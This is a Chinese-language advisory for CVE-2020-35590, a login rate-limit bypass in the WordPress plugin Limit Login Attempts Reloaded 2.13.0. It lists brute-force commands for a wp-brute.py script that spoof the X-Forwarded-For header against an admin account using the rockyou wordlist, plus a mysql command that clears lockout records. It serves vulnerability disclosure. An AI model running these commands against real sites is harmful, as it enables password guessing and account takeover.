漏洞标题: WordPress 插件 Limit Login Attempts Reloaded 2.13.0 - 登录限制绕过
CVE: CVE-2020-35590
日期: 2020-06-09
漏洞作者: N4nj0
软件链接: https://wordpress.org/plugins/limit-login-attempts-reloaded/
版本: 2.13.0
测试环境: WordPress 5.4.1, 5.4.2
漏洞公告: https://n4nj0.github.io/advisories/wordpress-plugin-limit-login-attempts-reloaded/
受影响的 WordPress 插件旨在作为暴力破解攻击的防护机制,目前已在超过 100万 个活跃安装中使用。
我发现了一个在非默认配置下的速率限制绕过漏洞,这有效破坏了该插件的防护目的。
./wp-brute.py -c -u http://wordpress -H X-Forwarded-For -l admin -P /usr/share/wordlists/rockyou.txt
./wp-brute.py --check --url http://wordpress --header X-Forwarded-For --login admin --passwordlist /usr/share/wordlists/rockyou.txt --quiet
./wp-brute.py -e -u http://wordpress -H X-Forwarded-For -l admin -P /usr/share/wordlists/rockyou.txt -q
./wp-brute.py --exploit --url http://wordpress --header X-Forwarded-For --login admin --passwordlist /usr/share/wordlists/rockyou.txt --quiet
mysql -uroot -ppassword wordpress -e "UPDATE wp_options SET option_value = '' WHERE option_name = 'limit_login_lockouts' LIMIT 1;"